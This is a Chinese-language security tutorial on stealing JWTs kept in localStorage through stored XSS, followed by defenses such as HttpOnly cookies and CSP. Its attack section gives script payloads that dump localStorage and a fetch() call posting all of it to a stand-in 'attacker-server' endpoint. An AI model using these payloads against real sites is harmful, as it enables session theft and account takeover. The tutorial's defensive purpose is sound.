看我如何通过XSS窃取localStorage中的JWT
字数 1402 2025-08-18 11:39:30
通过XSS窃取localStorage中JWT的教学文档
1. JWT基础概念
1.1 JWT组成
- Header: 包含使用的哈希算法
- Payload: 包含用户相关信息(角色、访问权限等)
- Signature: 用于确保消息完整性
- 三部分由"."分隔
1.2 JWT与传统Cookie的区别
| 特性 | JWT | 传统Cookie |
|---|---|---|
| 状态 | 无状态(服务器不存储) | 有状态(服务器存储) |
| 存储位置 | 通常在localStorage/sessionStorage | Cookie容器 |
| 设置方式 | AUTHORIZATION头 | SET-COOKIE命令 |
| 持久性 | localStorage持久,sessionStorage临时 | 取决于过期设置 |
| 访问方式 | 只能通过JavaScript读取 | 服务器可读取 |
2. 存储机制对比
2.1 localStorage/sessionStorage
- localStorage: 关闭浏览器后仍保持
- sessionStorage: 仅持续到浏览器关闭前
- 共同特点:
- 只能在客户端读取
- 只能通过JavaScript访问
2.2 Cookie
- 设计用于在服务器端读取和验证
- 可通过安全标志保护:
- HttpOnly: 防止JavaScript访问
- Secure: 仅通过HTTPS传输
- Path/Domain: 限制访问范围
3. XSS窃取JWT技术详解
3.1 攻击前提
- 目标网站存在存储型XSS漏洞
- JWT存储在localStorage中
- 无其他额外保护措施
3.2 攻击步骤
3.2.1 确定JWT存储键名
由于localStorage中的数据存储在数组中,需要知道确切的键名才能获取特定JWT。
方法1: 直接获取已知键名
<script>alert(localStorage.getItem('ServiceProvider.kdciaasdkfaeanfaegfpe23.username@company.com.accessToken'))</script>
方法2: 暴力枚举所有键名
<script>
for(let i=0; i<localStorage.length; i++) {
let key = localStorage.key(i);
alert(key + ": " + localStorage.getItem(key));
}
</script>
方法3: 使用JSON.stringify转储全部内容
<script>alert(JSON.stringify(localStorage))</script>
3.2.2 窃取并外传JWT
完整PoC示例:
或使用fetch API发送到攻击者服务器:
<script>
fetch('https://attacker-server/steal', {
method: 'POST',
body: JSON.stringify(localStorage)
});
</script>
3.3 获取的令牌类型
- IdToken: 用于身份验证,可伪装成受害用户(账户接管)
- accessToken: 可用于向身份验证端点请求新的IdToken
4. 防御措施
4.1 存储方案选择
- 避免在localStorage中存储敏感信息(JWT、凭据等)
- 优先考虑使用Cookie而非localStorage存储JWT
4.2 Cookie安全配置
- 设置HttpOnly标志: 防止JavaScript访问
- 设置Secure标志: 仅通过HTTPS传输
- 合理设置Path和Domain范围
- 设置适当的过期时间
4.3 其他防护措施
- 实施严格的CSP(内容安全策略)防止XSS
- 永远不要在页面、URL或源代码中显示令牌
- 对用户输入进行严格的过滤和转义
- 使用现代框架的XSS防护机制
5. 总结
通过XSS窃取localStorage中的JWT是一种有效的攻击手段,主要利用了两个漏洞:
- 网站存在XSS漏洞
- 将敏感令牌存储在易受攻击的localStorage中
防御的关键在于:
- 正确选择令牌存储位置
- 实施适当的安全标志
- 消除XSS漏洞的可能性
遵循"最小特权原则"和"纵深防御"策略,可以显著降低此类攻击的风险。